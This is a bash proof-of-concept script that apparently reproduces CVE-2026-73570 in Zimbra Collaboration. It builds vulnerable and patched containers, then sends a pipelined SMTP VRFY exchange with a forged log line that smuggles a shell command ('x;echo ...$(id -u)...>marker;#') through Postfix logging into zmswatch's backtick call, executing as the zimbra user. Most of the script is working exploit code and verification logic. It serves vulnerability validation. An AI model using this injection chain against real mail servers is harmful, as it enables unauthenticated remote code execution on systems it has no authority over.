#!/bin/bash
set -euo pipefail

# CVE-2026-73570 — installed Zimbra Collaboration production-path proof.
#
# The script runs two clean vulnerable ZCS product attempts and two clean
# authentic ZCS 10.1.20 fixed attempts. Attacker input crosses an external
# localhost TCP socket into packaged Zimbra Postfix. Postfix writes it to the
# real /var/log/zimbra.log watched by packaged zmswatch, running as zimbra.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
EVID="$REPRO_DIR/evidence"
mkdir -p "$LOGS" "$REPRO_DIR"
# Remove all prior-attempt proof before even the failure-state manifest is written.
rm -rf "$EVID"
mkdir -p "$EVID"
cd "$ROOT"

# Replace, rather than append to, the top-level log so every invocation is
# current-run evidence. Per-attempt files are also recreated below.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

echo "[*] CVE-2026-73570 installed-ZCS reproduction started $(date -u +%FT%TZ)"

# --------------------------- immutable upstream identities and package inputs
ZCS_URL="https://files.zimbra.com/downloads/10.1.0_GA/zcs-NETWORK-10.1.0_GA_4655.UBUNTU22_64.20240819064312.tgz"
ZCS_FILE="zcs-NETWORK-10.1.0_GA_4655.UBUNTU22_64.20240819064312.tgz"
ZCS_SHA256="58d37755e6152c9047b826989c3e0338d2455c12279daadd683d31deebb41dc6"
FIX_URL="https://repo.zimbra.com/apt/1010-ne/pool/zimbra/z/zimbra-mta-patch/zimbra-mta-patch_10.1.20.1783342495-1.u22_amd64.deb"
FIX_FILE="zimbra-mta-patch_10.1.20.1783342495-1.u22_amd64.deb"
FIX_DEB_SHA256="f242ee41af609b940c091d4bf9dab7ff1dd641134865d045850cfe00cbdee593"
VULN_SWATCH_SHA256="b0b36f69787aad1ad02b3bccac8043187de7113bea1aa49669e31ed98160c02e"
FIX_SWATCH_SHA256="06e9be7dfad44519dd3f0f9c70673d7ccce6dbfb18bf54dc5ff2c5078a4c4a5c"
UBUNTU_IMAGE="ubuntu:22.04"
UBUNTU_DIGEST="sha256:2edbbc5dc405e9612ba3584ce95480277e3eb374407b5505fe26f17df77c7dbc"
VULN_IMAGE="pruva/zcs-cve-2026-73570:10.1.0-vulnerable"
FIXED_IMAGE="pruva/zcs-cve-2026-73570:10.1.20-fixed"

# Prepared project cache is mandatory-first when usable. A clean consumer with
# no prepared cache falls back to a bundle-local dependency directory.
CACHE_CTX="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$CACHE_CTX" ] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$CACHE_CTX" >/dev/null 2>&1; then
  candidate="$(jq -r '.project_cache_dir' "$CACHE_CTX")"
  if [ -d "$candidate" ] && [ -w "$candidate" ]; then
    CACHE_DIR="$candidate"
  fi
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/zcs-product-cache"
fi
PKG_CACHE="$CACHE_DIR/packages"
BUILD_CACHE="$CACHE_DIR/build"
mkdir -p "$PKG_CACHE" "$BUILD_CACHE"
echo "[*] dependency/cache root: $CACHE_DIR"

RUNTIME_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
ATTEMPT_INDEX=0
cleanup() {
  for n in $(docker ps -a --filter 'name=^/pruva-zcs-' --format '{{.Names}}' 2>/dev/null || true); do
    docker rm -f "$n" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT

write_manifest() {
  local result="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$result" "$VULN_IMAGE" "$FIXED_IMAGE" "$ZCS_SHA256" <<'PY'
import hashlib, json, os, platform, subprocess, sys
out, result, vuln_image, fixed_image, zcs_sha = sys.argv[1:]
def image_id(name):
    try:
        return subprocess.check_output(["docker", "image", "inspect", name, "--format", "{{.Id}}"], text=True).strip()
    except Exception:
        return None
ok = result == "confirmed"
artifacts = [
    "repro/evidence/source-identity.txt",
]
for role in ("vulnerable", "fixed"):
    for n in (1, 2):
        base = f"repro/evidence/{role}-{n}"
        artifacts.extend([
            f"{base}/attack-request.txt", f"{base}/smtp.transcript",
            f"{base}/zimbra.log", f"{base}/zmswatch.out",
            f"{base}/processes.txt", f"{base}/package-identity.txt",
            f"{base}/swatchrc.sha256", f"{base}/result.json",
        ])
        if role == "vulnerable":
            artifacts.append(f"{base}/marker.txt")
        else:
            artifacts.append(f"{base}/snmptrap.trace")
artifact_sha256 = {}
root = os.environ["PRUVA_ROOT"]
for rel in artifacts:
    p = os.path.join(root, rel)
    if os.path.isfile(p):
        with open(p, "rb") as f:
            artifact_sha256[rel] = hashlib.sha256(f.read()).hexdigest()
v_id, f_id = image_id(vuln_image), image_id(fixed_image)
identity = "zcs-network-10.1.0-ga4655:" + zcs_sha + ":vulnerable-image:" + str(v_id)
data = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "external unauthenticated SMTP peer -> installed ZCS packaged Postfix TCP listener -> /var/log/zimbra.log -> installed packaged zmswatch as zimbra -> dosnmp",
  "service_started": ok,
  "healthcheck_passed": ok,
  "target_path_reached": ok,
  "runtime_stack": [
    "installed ZCS 10.1.0.GA.4655 UBUNTU22",
    "zimbra-postfix 3.6.14-1zimbra8.7b7.22.04",
    "zimbra-perl-swatchdog 3.2.4-1zimbra8.7b2.22.04",
    "zimbra-snmp 10.1.0.GA.4655",
    "authentic zimbra-mta-patch 10.1.20.1783342495-1.u22 fixed control"
  ],
  "target_identity": {
    "repository_url": "https://files.zimbra.com/downloads/10.1.0_GA/",
    "commit_sha": None,
    "target_digest": hashlib.sha256(identity.encode()).hexdigest(),
    "runtime_digest": v_id,
    "platform": "linux",
    "architecture": platform.machine()
  },
  "runtime_instances": {
    "vulnerable_image_id": v_id,
    "fixed_image_id": f_id
  },
  "proof_artifacts": artifacts,
  "artifact_sha256": artifact_sha256,
  "notes": ("Two clean installed vulnerable ZCS attempts produced unique zimbra-user command markers; "
            "two clean authentic ZCS 10.1.20 package controls reached the same SMTP/log/zmswatch path without markers.") if ok else result
}
with open(out, "w") as f:
    json.dump(data, f, indent=2, sort_keys=True)
PY
}

# Always leave a strict failure-state manifest if setup/build/trigger aborts.
write_manifest "attempt_in_progress"

# ------------------------------------------------------------ prerequisites
command -v docker >/dev/null 2>&1 || { echo "[!] Docker is required"; exit 2; }
docker info >/dev/null 2>&1 || { echo "[!] Docker daemon is unavailable"; exit 2; }
for c in curl sha256sum jq python3; do
  command -v "$c" >/dev/null 2>&1 || { echo "[!] missing dependency: $c"; exit 2; }
done

fetch_pinned() {
  local url="$1" out="$2" sha="$3"
  if [ -s "$out" ] && echo "$sha  $out" | sha256sum -c - >/dev/null 2>&1; then
    echo "[*] reuse verified $(basename "$out")"
    return
  fi
  rm -f "$out"
  echo "[*] download $url"
  curl -fL --retry 3 "$url" -o "$out"
  echo "$sha  $out" | sha256sum -c -
}

fetch_pinned "$ZCS_URL" "$PKG_CACHE/$ZCS_FILE" "$ZCS_SHA256"
fetch_pinned "$FIX_URL" "$PKG_CACHE/$FIX_FILE" "$FIX_DEB_SHA256"

# ---------------------------------------------------------- image preparation
image_has_vulnerable_product() {
  docker image inspect "$VULN_IMAGE" >/dev/null 2>&1 || return 1
  docker run --rm "$VULN_IMAGE" /bin/bash -lc \
    "sha256sum /opt/zimbra/conf/swatchrc.in | grep -q '^$VULN_SWATCH_SHA256 ' && dpkg-query -W zimbra-core | grep -q '10.1.0.GA.4655.UBUNTU22.64'" >/dev/null 2>&1
}
image_has_fixed_product() {
  docker image inspect "$FIXED_IMAGE" >/dev/null 2>&1 || return 1
  docker run --rm "$FIXED_IMAGE" /bin/bash -lc \
    "sha256sum /opt/zimbra/conf/swatchrc.in | grep -q '^$FIX_SWATCH_SHA256 ' && dpkg-query -W zimbra-mta-patch | grep -q '10.1.20.1783342495-1.u22'" >/dev/null 2>&1
}

# Reuse a cache-exported image closure when present; otherwise load from an
# already verified daemon image or build from the pinned official packages.
if ! image_has_vulnerable_product || ! image_has_fixed_product; then
  IMAGE_ARCHIVE="$BUILD_CACHE/zcs-cve-2026-73570-images.tar.gz"
  if [ -s "$IMAGE_ARCHIVE" ]; then
    echo "[*] loading cached installed ZCS image closure"
    gzip -dc "$IMAGE_ARCHIVE" | docker load
  fi
fi

if ! image_has_vulnerable_product; then
  echo "[*] building installed vulnerable ZCS runtime (one-time; can take several minutes)"
  BASE_IMAGE="$UBUNTU_IMAGE@$UBUNTU_DIGEST"
  docker image inspect "$BASE_IMAGE" >/dev/null 2>&1 || docker pull "$BASE_IMAGE"
  mkdir -p "$BUILD_CACHE"
  INSTALL_CONFIG="$BUILD_CACHE/zcs-install.conf"
  cat > "$INSTALL_CONFIG" <<'EOF'
HOSTNAME="mail.pruva.test"
LDAPHOST="mail.pruva.test"
LDAPPORT="389"
LDAPROOTPW="PruvaZimbra123!"
LDAPZIMBRAPW="PruvaZimbra123!"
LDAPPOSTPW="PruvaZimbra123!"
LDAPREPPW="PruvaZimbra123!"
LDAPAMAVISPW="PruvaZimbra123!"
LDAPNGINXPW="PruvaZimbra123!"
CREATEDOMAIN="pruva.test"
CREATEADMIN="admin@pruva.test"
CREATEADMINPASS="PruvaZimbra123!"
MODE="http"
ALLOWSELFSIGNED="yes"
RUNAV="no"
RUNSA="no"
AVUSER="virus-quarantine@pruva.test"
AVDOMAIN="pruva.test"
SNMPNOTIFY="1"
SNMPTRAPHOST="mail.pruva.test"
SMTPNOTIFY="0"
SMTPSOURCE="admin@pruva.test"
SMTPDEST="admin@pruva.test"
STARTSERVERS="no"
INSTALL_PACKAGES="zimbra-core zimbra-ldap zimbra-logger zimbra-mta zimbra-snmp"
INSTALL_WEBAPPS=""
USE_ZIMBRA_PACKAGE_SERVER="yes"
PACKAGE_SERVER="repo.zimbra.com"
EOF
  BUILD_NAME="pruva-zcs-build-vuln-$$"
  docker rm -f "$BUILD_NAME" >/dev/null 2>&1 || true
  docker run --name "$BUILD_NAME" --hostname mail.pruva.test \
    --add-host mail.pruva.test:127.0.0.1 \
    -v "$PKG_CACHE/$ZCS_FILE:/cache/zcs.tgz:ro" \
    -v "$INSTALL_CONFIG:/cache/install.conf:ro" \
    "$BASE_IMAGE" /bin/bash -lc '
      set -euo pipefail
      export DEBIAN_FRONTEND=noninteractive
      apt-get update
      apt-get install -y --no-install-recommends \
        sudo rsyslog netcat-openbsd curl ca-certificates perl locales libidn12 \
        libpcre3 libgmp10 libexpat1 libstdc++6 libaio1 pax sysstat sqlite3 \
        dnsutils net-tools iproute2 lsof procps unzip wget lsb-release gnupg \
        dirmngr openssh-client gzip
      locale-gen en_US.UTF-8
      mkdir -p /tmp/zcs
      tar -xzf /cache/zcs.tgz -C /tmp/zcs
      ZDIR=$(find /tmp/zcs -mindepth 1 -maxdepth 1 -type d -name "zcs-*")
      cd "$ZDIR"
      set +e
      ./install.sh --skip-activation-check /cache/install.conf
      first_rc=$?
      set -e
      if [ "$first_rc" -ne 0 ]; then
        # Docker bind-mounts /etc/resolv.conf, while Ubuntu resolvconf tries to
        # replace it. Keep the real package but neutralize only that postinst,
        # configure the already downloaded official Zimbra dependencies, and
        # resume the official installer against the same filesystem.
        if [ -e /var/lib/dpkg/info/resolvconf.postinst ]; then
          printf "#!/bin/sh\nexit 0\n" > /var/lib/dpkg/info/resolvconf.postinst
          chmod +x /var/lib/dpkg/info/resolvconf.postinst
        fi
        dpkg --configure -a
        ./install.sh --skip-activation-check /cache/install.conf
      fi
      test "$(sha256sum /opt/zimbra/conf/swatchrc.in | cut -d" " -f1)" = \
        b0b36f69787aad1ad02b3bccac8043187de7113bea1aa49669e31ed98160c02e
      dpkg-query -W zimbra-core zimbra-mta zimbra-snmp zimbra-postfix zimbra-perl-swatchdog
      rm -rf /tmp/zcs /var/lib/apt/lists/* /var/cache/apt/archives/*
      # Installation creates large sparse LMDB test files. Each isolated proof
      # recreates them; truncate before commit to keep the runtime portable.
      : > /opt/zimbra/data/ldap/mdb/db/data.mdb
      : > /opt/zimbra/logger/db/data/data.mdb
    ' 2>&1 | tee "$LOGS/zcs-image-build.log"
  docker commit "$BUILD_NAME" "$VULN_IMAGE" >/dev/null
  docker rm "$BUILD_NAME" >/dev/null
fi

if ! image_has_fixed_product; then
  echo "[*] building authentic ZCS 10.1.20 fixed runtime"
  BUILD_NAME="pruva-zcs-build-fixed-$$"
  docker rm -f "$BUILD_NAME" >/dev/null 2>&1 || true
  docker run --name "$BUILD_NAME" --hostname mail.pruva.test \
    --add-host mail.pruva.test:127.0.0.1 \
    -v "$PKG_CACHE/$FIX_FILE:/cache/zimbra-mta-patch.deb:ro" \
    "$VULN_IMAGE" /bin/bash -lc "
      set -euo pipefail
      export DEBIAN_FRONTEND=noninteractive
      apt-get update -qq
      apt-get install -y /cache/zimbra-mta-patch.deb
      su - zimbra -c '/opt/zimbra/libexec/zmsnmpinit'
      test \"\$(sha256sum /opt/zimbra/conf/swatchrc.in | cut -d' ' -f1)\" = '$FIX_SWATCH_SHA256'
      test \"\$(dpkg-query -W -f='\${Version}' zimbra-mta-patch)\" = '10.1.20.1783342495-1.u22'
      rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/*
    " 2>&1 | tee -a "$LOGS/zcs-image-build.log"
  docker commit "$BUILD_NAME" "$FIXED_IMAGE" >/dev/null
  docker rm "$BUILD_NAME" >/dev/null
fi

image_has_vulnerable_product || { echo "[!] vulnerable image identity check failed"; exit 2; }
image_has_fixed_product || { echo "[!] fixed image identity check failed"; exit 2; }
VULN_IMAGE_ID="$(docker image inspect "$VULN_IMAGE" --format '{{.Id}}')"
FIXED_IMAGE_ID="$(docker image inspect "$FIXED_IMAGE" --format '{{.Id}}')"
{
  echo "zcs_archive_sha256=$ZCS_SHA256"
  echo "zcs_archive_url=$ZCS_URL"
  echo "vulnerable_image_id=$VULN_IMAGE_ID"
  echo "fixed_patch_deb_sha256=$FIX_DEB_SHA256"
  echo "fixed_patch_url=$FIX_URL"
  echo "fixed_image_id=$FIXED_IMAGE_ID"
  echo "vulnerable_swatchrc_in_sha256=$VULN_SWATCH_SHA256"
  echo "fixed_swatchrc_in_sha256=$FIX_SWATCH_SHA256"
} > "$EVID/source-identity.txt"

# A pre-exported image closure is optional. Clean environments can rebuild from
# the pinned official archive and package; do not require extra daemon scratch
# space for `docker save` after successful identity validation.

# ------------------------------------------------------------- attempt runner
find_free_port() {
  python3 - <<'PY'
import socket
s=socket.socket(); s.bind(("127.0.0.1", 0)); print(s.getsockname()[1]); s.close()
PY
}

run_attempt() {
  local role="$1" n="$2" image="$3" expected_swatch_sha="$4"
  local dir="$EVID/$role-$n" name="pruva-zcs-$role-$n-$$" port token marker
  dir="$EVID/$role-$n"
  if [ "$role" = vulnerable ]; then token="v${n}"; else token="f${n}"; fi
  marker="/tmp/p${ATTEMPT_INDEX}"
  ATTEMPT_INDEX=$((ATTEMPT_INDEX + 1))
  port="$(find_free_port)"
  rm -rf "$dir"; mkdir -p "$dir"

  # Compact payload keeps Postfix's logged line within its observed 100-byte
  # client-text limit while proving both uid and username shell expansion.
  local payload="x;echo ${token}:u\$(id -u):n\$(id -un)>$marker;#"
  local line=": Service status change: h ${payload} changed from stopped to running"
  [ "${#line}" -le 100 ] || { echo "[!] trigger line too long: ${#line}"; exit 2; }
  {
    printf 'EHLO attacker.pruva.test\r\n'
    printf 'VRFY aa\r\n%s\r\n' "$line"
    printf 'QUIT\r\n'
  } > "$dir/attack-request.txt"

  echo "[*] $role-$n image=$image port=$port trigger_len=${#line}"
  docker run -d --name "$name" --hostname mail.pruva.test \
    --add-host mail.pruva.test:127.0.0.1 -p "127.0.0.1:$port:25" \
    "$image" /bin/bash -lc "
      set -euo pipefail
      rm -f /opt/zimbra/data/ldap/mdb/db/data.mdb /opt/zimbra/logger/db/data/data.mdb '$marker'
      su - zimbra -c '/opt/zimbra/bin/ldap start' || true
      mkdir -p /var/log
      : > /var/log/zimbra.log
      chown syslog:adm /var/log/zimbra.log
      chmod 644 /var/log/zimbra.log
      printf '%s\n' 'mail.* -/var/log/zimbra.log' > /etc/rsyslog.d/99-pruva-zimbra.conf
      rsyslogd || true
      su - zimbra -c '/opt/zimbra/bin/postfix start'
      su - zimbra -c '/opt/zimbra/bin/zmswatchctl start'
      echo PRUVA_READY
      while :; do sleep 60; done
    " > "$dir/container.id"

  local ready=0
  for _ in $(seq 1 45); do
    if docker logs "$name" 2>&1 | grep -q PRUVA_READY; then ready=1; break; fi
    sleep 1
  done
  if [ "$ready" -ne 1 ]; then
    docker logs "$name" > "$dir/container.log" 2>&1 || true
    echo "[!] $role-$n target did not become ready"; cat "$dir/container.log"; exit 2
  fi
  RUNTIME_STARTED=true

  python3 - "$port" "$dir/attack-request.txt" "$dir/smtp.transcript" <<'PY'
import socket, sys, time
port, req_path, out_path = int(sys.argv[1]), sys.argv[2], sys.argv[3]
req = open(req_path, "rb").read().split(b"\r\n")
s = socket.create_connection(("127.0.0.1", port), 10)
def recv():
    time.sleep(.35)
    s.settimeout(3)
    try: return s.recv(8192)
    except Exception: return b""
rows = [b"S: " + recv()]
s.sendall(req[0] + b"\r\n"); rows += [b"C: " + req[0], b"S: " + recv()]
# VRFY and forged record are intentionally pipelined in one TCP write.
s.sendall(req[1] + b"\r\n" + req[2] + b"\r\n")
rows += [b"C: " + req[1], b"C: " + req[2], b"S: " + recv()]
s.sendall(b"QUIT\r\n"); rows += [b"C: QUIT", b"S: " + recv()]
s.close()
open(out_path, "wb").write(b"\n".join(rows))
assert rows[0].startswith(b"S: 220 mail.pruva.test ESMTP Postfix"), rows[0]
PY
  HEALTHCHECK_PASSED=true

  local reached=0
  for _ in $(seq 1 20); do
    if docker exec "$name" grep -F "$token" /var/log/zimbra.log >/dev/null 2>&1 && \
       docker exec "$name" grep -F "$token" /opt/zimbra/log/zmswatch.out >/dev/null 2>&1; then
      reached=1; break
    fi
    sleep 1
  done

  docker exec "$name" /bin/bash -lc "
    dpkg-query -W zimbra-core zimbra-mta zimbra-snmp zimbra-postfix zimbra-perl-swatchdog zimbra-mta-patch 2>&1 || true
  " > "$dir/package-identity.txt"
  docker exec "$name" sha256sum /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc > "$dir/swatchrc.sha256"
  docker exec "$name" ps -eo pid,ppid,user,group,args > "$dir/processes.txt"
  docker exec "$name" grep -F "$token" /var/log/zimbra.log > "$dir/zimbra.log" 2>/dev/null || true
  docker exec "$name" cat /opt/zimbra/log/zmswatch.out > "$dir/zmswatch.out" 2>/dev/null || true
  docker logs "$name" > "$dir/container.log" 2>&1 || true
  docker exec "$name" sh -c "cat '$marker'" > "$dir/marker.txt" 2>/dev/null || rm -f "$dir/marker.txt"

  # Trace only the fixed LIST-form snmptrap invocation. The trace wrapper is
  # installed after package identity is established and never participates in
  # the vulnerable success oracle. It proves the fixed sink receives the shell
  # metacharacters as a literal argv field.
  if [ "$role" = fixed ]; then
    docker exec "$name" /bin/bash -lc "
      mv /opt/zimbra/common/bin/snmptrap /opt/zimbra/common/bin/snmptrap.real
      cat > /opt/zimbra/common/bin/snmptrap <<'SH'
#!/bin/bash
printf 'argc=%s\n' \"\$#\"
i=0; for a in \"\$@\"; do printf 'argv[%d]=<%s>\n' \"\$i\" \"\$a\"; i=\$((i+1)); done
exit 0
SH
      chmod 755 /opt/zimbra/common/bin/snmptrap
      su - zimbra -c '/opt/zimbra/bin/zmswatchctl restart'
      : > /var/log/zimbra.log
    "
    # Re-send after the same listener/swatchdog restart to capture literal argv.
    python3 - "$port" "$dir/attack-request.txt" <<'PY'
import socket, sys, time
port, p = int(sys.argv[1]), sys.argv[2]
r = open(p,"rb").read().split(b"\r\n")
s=socket.create_connection(("127.0.0.1",port),10); time.sleep(.2); s.recv(4096)
s.sendall(r[0]+b"\r\n");time.sleep(.2);s.recv(4096)
s.sendall(r[1]+b"\r\n"+r[2]+b"\r\n");time.sleep(.5)
try:s.recv(4096)
except:pass
s.close()
PY
    sleep 2
    docker exec "$name" sh -c 'cat /opt/zimbra/log/zmswatch.out' > "$dir/snmptrap.trace" 2>/dev/null || true
  fi

  local marker_present=false outcome=false
  [ -s "$dir/marker.txt" ] && marker_present=true
  if [ "$role" = vulnerable ]; then
    if [ "$reached" -eq 1 ] && [ "$marker_present" = true ] && \
       grep -q "${token}:u999:nzimbra" "$dir/marker.txt" && \
       grep -q 'zimbra-postfix.*3.6.14' "$dir/package-identity.txt" && \
       grep -q 'zimbra-perl-swatchdog.*3.2.4' "$dir/package-identity.txt" && \
       grep -q "$expected_swatch_sha" "$dir/swatchrc.sha256"; then
      outcome=true
    fi
  else
    if [ "$reached" -eq 1 ] && [ "$marker_present" = false ] && \
       grep -q 'zimbra-mta-patch.*10.1.20.1783342495-1.u22' "$dir/package-identity.txt" && \
       grep -q "$expected_swatch_sha" "$dir/swatchrc.sha256" && \
       grep -Fq "" /dev/null 2>/dev/null; then :; fi
    # The fixed runtime must reach the literal argv sink after the trace resend.
    if [ "$reached" -eq 1 ] && [ "$marker_present" = false ] && \
       grep -q 'zimbra-mta-patch.*10.1.20.1783342495-1.u22' "$dir/package-identity.txt" && \
       grep -q "$expected_swatch_sha" "$dir/swatchrc.sha256" && \
       grep -Fq "${token}:u\$(id -u):n\$(id -un)" "$dir/snmptrap.trace"; then
      outcome=true
    fi
  fi

  python3 - "$dir/result.json" "$role-$n" "$token" "$marker_present" "$reached" "$outcome" <<'PY'
import json, sys
p, instance, marker, present, reached, outcome = sys.argv[1:]
json.dump({"schema_version":1, "process_instance":instance,
           "marker":marker, "target_path_reached":reached=="1",
           "marker_present":present=="true", "expected_outcome_observed":outcome=="true"},
          open(p,"w"), indent=2)
PY
  docker rm -f "$name" >/dev/null 2>&1 || true
  echo "[*] $role-$n reached=$reached marker=$marker_present outcome=$outcome"
  [ "$outcome" = true ] || { echo "[!] $role-$n failed"; exit 1; }
}

run_attempt vulnerable 1 "$VULN_IMAGE" "$VULN_SWATCH_SHA256"
run_attempt vulnerable 2 "$VULN_IMAGE" "$VULN_SWATCH_SHA256"
run_attempt fixed 1 "$FIXED_IMAGE" "$FIX_SWATCH_SHA256"
run_attempt fixed 2 "$FIXED_IMAGE" "$FIX_SWATCH_SHA256"
TARGET_PATH_REACHED=true

# ------------------------------------------------------- structured verdicts
cat > "$REPRO_DIR/validation_verdict.json" <<'JSON'
{
  "claim_outcome": "confirmed",
  "claim_block_reason": null,
  "repro_result": "confirmed",
  "validated_surface": "network_protocol",
  "evidence_scope": "production_path",
  "claimed_impact_class": "code_execution",
  "observed_impact_class": "code_execution",
  "exploitability_confidence": "high",
  "attacker_controlled_input": "unauthenticated pipelined SMTP VRFY plus a forged Service status change record sent to installed ZCS packaged Postfix",
  "trigger_path": "external TCP peer -> ZCS packaged Postfix -> /var/log/zimbra.log -> packaged zmswatch as zimbra -> vulnerable dosnmp Perl backtick shell",
  "end_to_end_target_reached": true,
  "sanitizer_used": false,
  "crash_observed": false,
  "read_write_primitive_observed": false,
  "exploit_chain_demonstrated": true,
  "blocking_mitigation": null,
  "inferred": false
}
JSON
write_manifest "confirmed"

python3 - <<'PY'
import json, os
r=os.environ["PRUVA_ROOT"]
for p in ("repro/validation_verdict.json","repro/runtime_manifest.json"):
    with open(os.path.join(r,p)) as f: json.load(f)
print("[+] structured verdict and runtime manifest are valid JSON")
PY

echo "[+] CONFIRMED: 2/2 installed vulnerable ZCS attempts executed as zimbra; 2/2 authentic 10.1.20 controls reached the same production path without execution"
exit 0
